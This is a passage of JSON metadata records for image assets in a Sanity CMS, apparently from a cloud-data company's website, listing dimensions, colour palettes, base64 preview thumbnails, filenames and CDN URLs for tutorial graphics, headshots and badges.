{"_createdAt":"2023-07-05T09:40:36Z","_id":"image-a457e42f7ec60ed72c581362433427820a1a6d02-7527x1870-png","_rev":"jCBYOSQQq1vHovrZNnvUYH","_type":"sanity.imageAsset","_updatedAt":"2023-07-05T09:40:36Z","assetId":"a457e42f7ec60ed72c581362433427820a1a6d02","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.025133689839572,"height":1870,"width":7527},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAkUlEQVQYlYWQWw6FMAgFu/+1mqopKn0YboYEw9/9mJTS08OjtNbsPE87jsOIxxj2vq+ttaz3bs/zmIg4xOQAHaeIWK3V9n3390Liui7nvm9T1e8TAsg5YsAQVNX/4kNcuIQoP0YBwDQbhGEuAN4hyTnnRxZFV6GJESmWxw4z75BdsbN/oMNo2zbfGQbRBFNEkR/wy4YEviRsZAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#606060","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"terraform_OPA_tutorial_detailed.png","path":"images/sczeoy4w/production/a457e42f7ec60ed72c581362433427820a1a6d02-7527x1870.png","sha1hash":"a457e42f7ec60ed72c581362433427820a1a6d02","size":695433,"uploadId":"RZaBdWTIKJJzWYrxmPGe1POFGmNv8ve7","url":"https://cdn.sanity.io/images/sczeoy4w/production/a457e42f7ec60ed72c581362433427820a1a6d02-7527x1870.png"} {"_createdAt":"2023-03-15T14:01:07Z","_id":"image-a462bf01471c1f14e1481f0986b0feb429ecbf2c-800x800-jpg","_rev":"FyKybxTQXmO9mB4Bp1FsyP","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T14:01:07Z","assetId":"a462bf01471c1f14e1481f0986b0feb429ecbf2c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAQGCAf/xAAjEAABBAIBBAMBAAAAAAAAAAABAAIDBQQRBgcSIVETMXEy/8QAFwEAAwEAAAAAAAAAAAAAAAAAAQIDBf/EABoRAAIDAQEAAAAAAAAAAAAAAAABAhESAzH/2gAMAwEAAhEDEQA/ANMXuea/CdIzRkPhoVa41yabLtGY2Q2Q/NvRcPrSldQ7Wuq62J9hKI5Hv7Yz6KqnTqTHseQPmilcWsb3Dud/f4kndqi/JRzLR1dEROQMa8mu7C/nfk2mS+WQHwN6DfwKJTW2fWzxyYWVLE+ElzCHe0RBmmkqRrjhNhkWXFq7Ly3B08sQLiBrZRERM2Xp/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f2f33","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c1c24","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#edb5aa","foreground":"#000","population":2.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4bbb8","foreground":"#000","population":1.34,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edb5aa","foreground":"#000","population":2.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a6d70","foreground":"#fff","population":0.63,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ba4458","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"klaus-schaller.jpg","path":"images/sczeoy4w/production/a462bf01471c1f14e1481f0986b0feb429ecbf2c-800x800.jpg","sha1hash":"a462bf01471c1f14e1481f0986b0feb429ecbf2c","size":28265,"uploadId":"KDcpbnNDlvwy4GHJPDo3MByG6uvy9ddF","url":"https://cdn.sanity.io/images/sczeoy4w/production/a462bf01471c1f14e1481f0986b0feb429ecbf2c-800x800.jpg"} {"_createdAt":"2022-12-09T16:04:35Z","_id":"image-a4a18de5e9a7bdd71506bb0626b5f39343ca7a2c-690x413-jpg","_rev":"VrdcoLtXxUWed6PHr8r3Wy","_type":"sanity.imageAsset","_updatedAt":"2022-12-09T16:04:35Z","assetId":"a4a18de5e9a7bdd71506bb0626b5f39343ca7a2c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAUECP/EACAQAAICAgICAwAAAAAAAAAAAAECAAMEEhMxESJRYXH/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AOoc8uKDo4T5P1J2DbvkDhexQD7C3pvyVcipLqirjyJiw8VOXZi7Fetj1CKMREK//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#515b57","foreground":"#fff","population":0.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1e6633","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4cacc","foreground":"#000","population":3.22,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4cacc","foreground":"#000","population":3.22,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ddf5e4","foreground":"#000","population":1.42,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c948c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#39c562","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"compliance-badge-iso-27001-2015.jpg","path":"images/sczeoy4w/production/a4a18de5e9a7bdd71506bb0626b5f39343ca7a2c-690x413.jpg","sha1hash":"a4a18de5e9a7bdd71506bb0626b5f39343ca7a2c","size":9395,"uploadId":"ivTTq43IlLHX1WE7Ih6vB3GHiyi4Zh8W","url":"https://cdn.sanity.io/images/sczeoy4w/production/a4a18de5e9a7bdd71506bb0626b5f39343ca7a2c-690x413.jpg"} {"_createdAt":"2023-10-03T15:21:18Z","_id":"image-a4eac6c62770b888c25d0e518be239eb66e0472b-1200x628-jpg","_rev":"OlHhyDbudqKag6cjyDFvh0","_type":"sanity.imageAsset","_updatedAt":"2023-10-03T15:21:18Z","assetId":"a4eac6c62770b888c25d0e518be239eb66e0472b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TM[D*XX6,EZ$}XjbfQjZf6l:eTfkfRcE","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQCAwX/xAAfEAACAgEEAwAAAAAAAAAAAAABAwACEQQSITFBcYH/xAAVAQEBAAAAAAAAAAAAAAAAAAAEB//EABkRAAEFAAAAAAAAAAAAAAAAAAABAgMRUf/aAAwDAQACEQMRAD8Av06kFdSX4sRyNvUc061kctwfUy0x5PiSyRyYWGVq6OmtR1bPyEiOoQthqP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":21.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bed1cc","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#faba72","foreground":"#000","population":0.25,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad7053","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":21.93,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-google-cloud-partnership_meta-preview.jpg","path":"images/sczeoy4w/production/a4eac6c62770b888c25d0e518be239eb66e0472b-1200x628.jpg","sha1hash":"a4eac6c62770b888c25d0e518be239eb66e0472b","size":33201,"uploadId":"R9z9iTv7xD9EciegYqiPj1bCqW25t8KU","url":"https://cdn.sanity.io/images/sczeoy4w/production/a4eac6c62770b888c25d0e518be239eb66e0472b-1200x628.jpg"} {"_createdAt":"2024-05-08T12:25:18Z","_id":"image-a523cef1686223e5a72e4d3dbfb05ea919be159b-1666x840-png","_rev":"6IjwK8t2YScx5mkOZiReHh","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T12:25:18Z","assetId":"a523cef1686223e5a72e4d3dbfb05ea919be159b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9R:NY9ZM{-;t7~AM{NGj?R*0LjYayofxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9833333333333334,"height":840,"width":1666},"exif":{"PixelXDimension":1666,"PixelYDimension":840,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAABdElEQVQokY2Q63LbIBBG9f4P2CayWltubJCRxH1BwvLXWeR0mmky0x9ndrkdPmhO/Rkvry2+fX9Bezig7Tq8tge0hw79+RdmreG8/28aOQw49T1+/DxWweUqIKQEz4/TBOscQggIMSJ+BVGtvKfhBEJIvL1dIOSAaTZV4pyH90yoQiJCzhnLsnxKzhkpJTQck6Vamxo5RgJRAqWEyFBCShnruqKUgvv9/oHyXkup4oYTzPMu5Nh8mKG0wFdW5HUXbduG7fHA4xO2bcNaChoXItQ0Q6mxPpUT1j+hBF/JoLw/i1Pywa+EhYU2ENRsqtRYB+fDTuBP3sVUE2ekvCAvK5a1/MNaSr2wcTHhZjzkZDDMFrd3tMPkAkwgmJCgn3Xv97H29GfeUUbMCxpLGdIS+pvBSY44ihEnOeGsNK6zhzQRQocK93+PeV1oD2EClEsw9BQKSzgOBt1F4XBR6K4jemUhDEG6BGmfcO8ShP0IrymfoeOC3zjK/07aGURWAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#424f54","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#07557d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#aec4ce","foreground":"#000","population":0.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aec4ce","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ccecfc","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7996aa","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0ea5f0","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"change_lambda_url_permissions.png","path":"images/sczeoy4w/production/a523cef1686223e5a72e4d3dbfb05ea919be159b-1666x840.png","sha1hash":"a523cef1686223e5a72e4d3dbfb05ea919be159b","size":150803,"uploadId":"SBRhMvyHZKhJziZfYlwJeUst2TVSINPS","url":"https://cdn.sanity.io/images/sczeoy4w/production/a523cef1686223e5a72e4d3dbfb05ea919be159b-1666x840.png"} {"_createdAt":"2024-03-08T09:05:17Z","_id":"image-a543da57f0e0c0ea2f9659ca528d344a3e23e882-1200x628-png","_rev":"zTx0EUw0vMrj4JXNbrRJx2","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T09:05:17Z","assetId":"a543da57f0e0c0ea2f9659ca528d344a3e23e882","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M87neV-xD$adRi?wxuM{RkWE9EWBxuRkob","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACcklEQVQokTWSa1MSYRiG9xc0JaddYJeTyyImIpqnSh3T1FVRFlAxrZw0M4+l4pkkIA+FOmaN0/Shf3o1u9aHe+b5dL339T6P4PBOEm16y6Mn67R1bdLWlaf5cZ5E5x6JzgNanh7T1lMh3lki8LCAWz1CUg8RQ7uIwW2k2l3c6gFS7Q5icAtB9Ofo6P7AaPqY8YkyI+kKA8kyw8YZw+lv6KkqQ6lLeoaqxNorqPES4XgJtbFAoP4AOVLAox3jDh/hVg8RJP807V0bjBjHpHMnGLkzkplTjNwF2ZlrktkrBsYuGM3eMJL5SX/yhmcj1/TqVdp6zlDjJ8h1FbyRCkr0FMHly5FoX6FP32c0/ZnMi3OS2VP01CmpqUsL2D9aJTNzy+zCH7Kzvxmb/MHg+AWt3V8INhStht5IGaX+HMGlTJHoWKF3cI++4UP0VInnyRI9A0UGx8/QjSq9+ld04zvG9C/GJm/RjSu6B06IJA5wqzvWP3rCBaupUCNl8GmvCMcWUB8uEo4tozWuocY2qEtsE23eQ2vaJ9pSINZeprGjTEPrEVp8FzmSR6rds2IuxqsVEe45DR6IaWzuCWyeaWyeWWzeOezKAg7fEk7/yr+sIgY/IoW2cAXXcQXWkUJ5q5m5EAtau49Q40whuw0CwWmU8Byif44az2ts3nnsyjscvmXsyhJ2edGanf41HP41nIENC+LRihZUDOXvzsbuGickG9Rps6j1C3hCb6yGNnkeh3LX0OF7bwFNsNnUGVhHDG5aZ2JqmromzDQQ7rsM7JKB0zuJU5nBLr+8U5b/K69aMWcT7Aps4LLU73Q92idrKeYDZv4CdDhpv96o4rUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252751","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":12.84,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":12.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5d9ea","foreground":"#000","population":7.7,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#797ec3","foreground":"#fff","population":0.27,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6b7297","foreground":"#fff","population":1.58,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":8.52,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cover (1).png","path":"images/sczeoy4w/production/a543da57f0e0c0ea2f9659ca528d344a3e23e882-1200x628.png","sha1hash":"a543da57f0e0c0ea2f9659ca528d344a3e23e882","size":177047,"uploadId":"lIbjWNpynQP4mPeIA1vQ6j0xiUbfGJoy","url":"https://cdn.sanity.io/images/sczeoy4w/production/a543da57f0e0c0ea2f9659ca528d344a3e23e882-1200x628.png"} {"_createdAt":"2023-11-30T08:29:18Z","_id":"image-a57c6cdb7b1daededf8cb03bd06f64e9a12c0d14-400x400-jpg","_rev":"00HkATqwml6aoQnrO66mm8","_type":"sanity.imageAsset","_updatedAt":"2023-11-30T08:29:18Z","assetId":"a57c6cdb7b1daededf8cb03bd06f64e9a12c0d14","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKI49etM00n.~A5lIps:%3NZSd%1-AIpod9tR+t7s:nlV[j]xtjYRk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":400,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAYHAgP/xAAlEAACAQQCAQMFAAAAAAAAAAABAgMABAUGERIhBzFhExUiUcH/xAAXAQADAQAAAAAAAAAAAAAAAAABBAUD/8QAIBEAAgIBAwUAAAAAAAAAAAAAAAECAxEEISIyM0GB8P/aAAwDAQACEQMRAD8AksPaR32Rt4Z2Kwsw7kfqr/ade1+3wLSYov8AVUDlepqI1F7j7zC9pEZjEw7qB7D5rRd/v3xmn3DDh5J+EH48def7QlJq6OB/R1RlU8mLSIO58UrhpVdiVPilMvZk6UcNo2D05t4hvu1xqihFdAAB4Hivb1tiU4W2A5AV+QB7UpSFPdX3guU9L9kZpeOtJsTI8sKs5mbkkfApSlG182ZRSwf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a3751","foreground":"#fff","population":1.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#542852","foreground":"#fff","population":3.66,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#946678","foreground":"#fff","population":5.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1a098","foreground":"#000","population":0.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbbaf","foreground":"#000","population":1.24,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#946678","foreground":"#fff","population":5.71,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee2c86","foreground":"#fff","population":0.77,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"20230809_Jenn - LinkedIn Ready.jpg","path":"images/sczeoy4w/production/a57c6cdb7b1daededf8cb03bd06f64e9a12c0d14-400x400.jpg","sha1hash":"a57c6cdb7b1daededf8cb03bd06f64e9a12c0d14","size":107317,"uploadId":"K5b4PqXvgPY4kXPNE5vKZIgFCEirU3N1","url":"https://cdn.sanity.io/images/sczeoy4w/production/a57c6cdb7b1daededf8cb03bd06f64e9a12c0d14-400x400.jpg"} {"_createdAt":"2022-06-17T08:37:17Z","_id":"image-a594107a636b0142f8b14a007333f66b98c9a9b9-294x214-png","_rev":"qkpX9b3U0TpOGFQp8gRe0C","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:17Z","assetId":"a594107a636b0142f8b14a007333f66b98c9a9b9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VVRM*vogxZozWV-ofQoeWCWC~AoeR+WVj[EOoLWCoLoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3738317757009346,"height":214,"width":294},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAA7DAAAOwwHHb6hkAAACIUlEQVQ4ja1Ta4vTUBDNv/W7gojoFxEUZFEWXRWUxeriC0RXRRR1cWXxgbqibW3tY9u021fSJPcmuXk0yZGZNrAtu7ofPDDk3jszJzNzz9VwCGRZdqgzgrbXSd/9jBAkKYwwgTtJ5+IXoR1EskjY8mOs9z18s0NE6SEI90PuS7MMn60AZypjPOl5UEk658/2GBMSKElOUgyCCawo4SpyX5xmeDHwcKJo4OXQ5/2BhJglUEsbIx/rPQ9vRz7afozJjJR8K00H56oWSiLi89y3CI3IfskI97sSax2JNV3iatPBh3HAlRZFhGtNB0d/GByjqxhFEaIiI25dxClqbsQF0F6ruhEKukBBl3hnKNxqC1yq23hvKt5frNs4sj3EqbKJbSdko7O7Hckkn6wAVxoObrYEvtoBtNu6xPUdB5uGwvOBhwu/LTzadfF65DPx6bKJYz8NFNoCTS/Gw66L48VptR/HAR50XdxoCSw3bKy2BLTzVYuDNgzFrS3Xbbwa+rwmsrOVMU6WTNzrSGyNFZZqFs+SLonGs9J0mJxI7+gSGrX7tO/hzcjnG3zW9/ivlERG1VN1VPXjnsutrbYFk9Csl2o2Ljds3pdlBK3mxjzgrprKZceP8cUOeH6bpkJJRthVE9S9GDTvmhfjuxNyDIl8y1RcOSmBpKYlWcayIR2SDEgOYTI1em65PCiOjOIokYxjZ+tcQqzDHH97Mf/C3Ev5n/YHvj5uEddnzCEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#027b96","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04b4db","foreground":"#fff","population":2.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#06aadc","foreground":"#fff","population":3.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4bc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8bd9e8","foreground":"#000","population":1.51,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#047394","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#06aadc","foreground":"#fff","population":3.6,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"adeo.png","path":"images/sczeoy4w/production/a594107a636b0142f8b14a007333f66b98c9a9b9-294x214.png","sha1hash":"a594107a636b0142f8b14a007333f66b98c9a9b9","size":9725,"uploadId":"FO3eEJCwAcsd5TQ0BwvFuYGDDbGfCrPo","url":"https://cdn.sanity.io/images/sczeoy4w/production/a594107a636b0142f8b14a007333f66b98c9a9b9-294x214.png"} {"_createdAt":"2023-05-15T10:11:17Z","_id":"image-a5b442451c6f8764033b065a5ea96b36e3fd64f8-1324x765-png","_rev":"7zkUzK17nyKradHQJJzoQo","_type":"sanity.imageAsset","_updatedAt":"2023-05-16T13:56:02Z","altText":"Aiven Console screenshot of PostgreSQL connection information","assetId":"a5b442451c6f8764033b065a5ea96b36e3fd64f8","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8SPX_E1xb_Nt7?bRjV[j]jI_Nt8IUIBRk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.730718954248366,"height":765,"width":1324},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABJ0lEQVQokXXS2Y6EIBAFUP7/H+dxGtsFpVZWMwHajrOd8GAgV6oA8/G528V5AIkiUSVIiKGUcp5nrfXsSinxl5SSQRAmVhVVJWYiEpHQxRhzzqWUWmu5qbXN1FpN1hBVgyoium3b1tU5t3cIEGMcVXyT8sl6ajQ5xKht42M/ntNkrZ2usa0rM6eUcjdKqKVkT+lzzoszKkINO+emh310to/5+TyOo6++ekldAJLnFpw3hOS9BwC3ubbvlXyHsbufhYgwURA1hAgACPhHeJ69B7noRXqxqj3cfozUw5N9XD1Pdl0WBLylXpgZ2rwYRPTeI+KxH8u8LMu6Nc5t7thbw/+EgVnM+GonhkStNWLiYZQ6+rwTUWpPI5rYb2qc5LiSH+7PY3ivfAEh/XX+A77x1QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#466a89","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c3c6c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d52b57","foreground":"#fff","population":0.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1b4bc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7cac","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#668cac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d52b57","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"security.png","path":"images/sczeoy4w/production/a5b442451c6f8764033b065a5ea96b36e3fd64f8-1324x765.png","sha1hash":"a5b442451c6f8764033b065a5ea96b36e3fd64f8","size":64036,"title":null,"uploadId":"ZNYrmnmDbBZzuQKvRDUsLuIQ9R7LVycF","url":"https://cdn.sanity.io/images/sczeoy4w/production/a5b442451c6f8764033b065a5ea96b36e3fd64f8-1324x765.png"} {"_createdAt":"2023-11-10T08:17:34Z","_id":"image-a5bc636e2b1449a3314a5f4a2d8bb81d90d5baf5-1200x628-png","_rev":"2Eye2NjagEp5aUWL7qHfij","_type":"sanity.imageAsset","_updatedAt":"2023-11-10T08:17:34Z","assetId":"a5bc636e2b1449a3314a5f4a2d8bb81d90d5baf5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M48gzaxk$ssj02~oNh%1xs9b00x8xvtAxm","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAChklEQVQokWWSa1MSARSG9xf0xQBlFxHYhQXiLjGSipKKiKILpEVXRIsmBjW8hALbInnPppkmf+7TwNc+nDnf3vPMeV7Brrwjmztmu/KDauWSneoNWqGHJ7iHafwzZnsDi+OAUdcRVrmF6O4iB/sk07csZA1iiT2cvq9I7lOs8imC1f6SmeRHNtf2KGtNytoxucwRgeg+dnUwTUSlOQwcc7Wwe3VSmXs+1x9o1jtUX1RYmPuEN3KG5O4gPBY3CYSrpNMNlpcPyWZPWMycMrvQJZk2eDrbQ422sanfEJVT1EiPN5W/nJ8/YHzdR9/eZLv0gWdzbSb8fQST7RXhRJ3F3BnL6zrZ9XNWtAtyhWtWi3esFO6ZWbwikDBwBXSexPu83/lDt33Ll7dlPq7N83p9i/ml77hCdwgWe5n49D45TWe10CNX6JMvXbFWumVj6xfF8h9yxd8k5i5xhw2UkMFy/oZazWAzr5GenGR+Zov4TA9H4A7BPP6KWLJBJt9hZcMgu3FOTrsgu3FJJn9NVrtnMf+TydmLIaFN7Q4pB0JSqSp+fx5vsIYS0rF5+wiPpZc8idaYTh+SWmqRWmozl9GZfq4TTbYJJToEEjpqVGfC18Gm6rgjl0SSN0SmvuOLfkMJDv7XRfJ0EUZGS7jlMuHwLsF4HTVcxx/dIzZ1hC/SRFIOsMoD08dDKeNeHW/smnDyntDUNf54HzmoY/eeIbrbCCNmDadUxOt5i+zfRZSr2JVdQrE6vlADq6uBeeIAi/OQMbk1pHD4+7gCfRz+LuNqC1E5YUw+wToIfGQqMGIpYhK3MNleMyK9w2yrIDl3kFw1Rh3/F1vyGMM96joZHrI4Bz09RvTo/ANGpXZEcIL7EQAAAABJRU5ErkJggg==","palette":{"_type":"sani